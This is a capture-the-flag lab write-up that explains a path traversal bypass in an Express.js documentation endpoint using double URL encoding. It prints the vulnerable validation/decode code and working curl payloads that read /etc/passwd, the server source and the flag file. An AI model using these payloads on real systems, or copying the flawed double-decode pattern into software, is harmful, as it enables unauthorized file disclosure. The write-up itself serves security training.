Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding
Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: double_url_encoding_bypass, express_param_decoding, source_code_disclosure, validation_decode_mismatch
Summary
Walkthrough of the CUSTOM Web Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding. Task: Express.js API integration platform serves documentation files via /api/resources/* endpoint with path traversal protection. Solution: double URL encoding (%252e%252e%252f) bypasses validation t
Description
IntegraFlow is an API integration platform built by FlowLine Systems that lets developers connect various services through a unified dashboard. The platform features an app marketplace with 10+ verified integrations, OAuth-based connection management, webhook event delivery, and comprehensive API documentation.
Hint: "The platform serves API documentation dynamically — take a close look at how documentation resources are loaded and whether the file retrieval mechanism can be manipulated."
English summary: A Node.js/Express web application serves API documentation files dynamically through a /api/resources/* endpoint. The goal is to exploit the file retrieval mechanism to read sensitive files from the server, specifically /root/flag.txt. Credentials provided: user@test.com / password123.
Analysis
Reconnaissance
The platform is an Express.js (Node.js) application running behind nginx/1.25.5. After logging in with the provided credentials (POST /login), the dashboard presents several tabs: Dashboard, Marketplace, Integrations, API Docs, Webhooks, Profile.
Anti-bot trap: Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs — designed to trick automated agents. This was correctly ignored.
Identifying the Vulnerable Endpoint
The /docs page loads API documentation dynamically via JavaScript. The client-side function loadDocument(filename) calls:
javascript read-only • copy allowedfetch('/api/resources/' + encodeURIComponent(filename))
Documentation files served include: authentication.md, changelog.md, endpoints.md, errors.md, getting-started.md, rate-limits.md, sdks.md, webhooks.md.
The key attack surface is the GET /api/resources/* endpoint.
Source Code Disclosure
By using double-encoded path traversal, the server source code was retrieved:
/api/resources/%252e%252e%252fserver.js— full Express application source/api/resources/%252e%252e%252fpackage.json— dependencies (Express 4.18.2, EJS, better-sqlite3, marked, bcryptjs)
The Vulnerability
The vulnerable code in server.js:
javascript read-only • copy allowedapp.get('/api/resources/*', requireAuth, (req, res) => { const rawUrl = req.originalUrl; const pathSegment = rawUrl.split('/api/resources/')[1]; // Validation on raw URL string if (pathSegment.includes('../') || pathSegment.includes('..\\') || pathSegment.toLowerCase().includes('%2e')) { return res.status(403).json({ error: 'Invalid resource path: directory traversal not allowed' }); } // File access uses req.params[0] (already decoded once by Express) + another decodeURIComponent const resourcePath = req.params[0]; const decodedPath = decodeURIComponent(resourcePath); const fullPath = path.join(__dirname, 'docs', decodedPath); const content = fs.readFileSync(fullPath, 'utf8'); // ...serves the file });
Root cause — validation/decode mismatch:
- Validation checks
pathSegment(extracted from raw URL) for../,..\\, and%2e - File access uses
req.params[0](Express already URL-decoded once) then appliesdecodeURIComponent()again — a double decode
With double URL encoding (%252e%252e%252f for ../):
| Stage | Value | Check passes? |
|---|---|---|
Raw URL (req.originalUrl) | %252e%252e%252f | Yes — no ../, no %2e (it's %25 + 2e) |
Express decode (req.params[0]) | %2e%2e%2f | (not checked) |
Manual decodeURIComponent() | ../ | (not checked — this is what hits the filesystem) |
| |
The validation and the file access operate on different decode levels of the same input.
Solution
Step 1: Authenticate
bash read-only • copy allowedcurl -c cookies.txt -X POST https://TARGET/login \ -d "email=user@test.com&password=password123"
Step 2: Confirm path traversal works
Read /etc/passwd to confirm arbitrary file read:
bash read-only • copy allowedcurl -b cookies.txt \ "https://TARGET/api/resources/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
Response confirms Alpine Linux container — path traversal is successful.
Step 3: Read source code (optional but useful)
bash read-only • copy allowed# Read server.js curl -b cookies.txt \ "https://TARGET/api/resources/%252e%252e%252fserver.js" # Read package.json curl -b cookies.txt \ "https://TARGET/api/resources/%252e%252e%252fpackage.json"
Step 4: Retrieve the flag
bash read-only • copy allowedcurl -b cookies.txt \ "https://TARGET/api/resources/%252e%252e%252f%252e%252e%252f%252e%252e%252froot%252fflag.txt"
Response:
json read-only • copy allowed{"content":"FLAG{REDACTED}\n","filename":"flag.txt"}
Encoding breakdown
To encode ../../../root/flag.txt with double URL encoding:
| Character | Single encode | Double encode |
|---|---|---|
. | %2e | %252e |
/ | %2f | %252f |
Full payload: %252e%252e%252f%252e%252e%252f%252e%252e%252froot%252fflag.txt
Key Takeaways / Lessons
- Mastering double_url_encoding_bypass, express_param_decoding, source_code_disclosure, validation_decode_mismatch was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding • Difficulty: Medium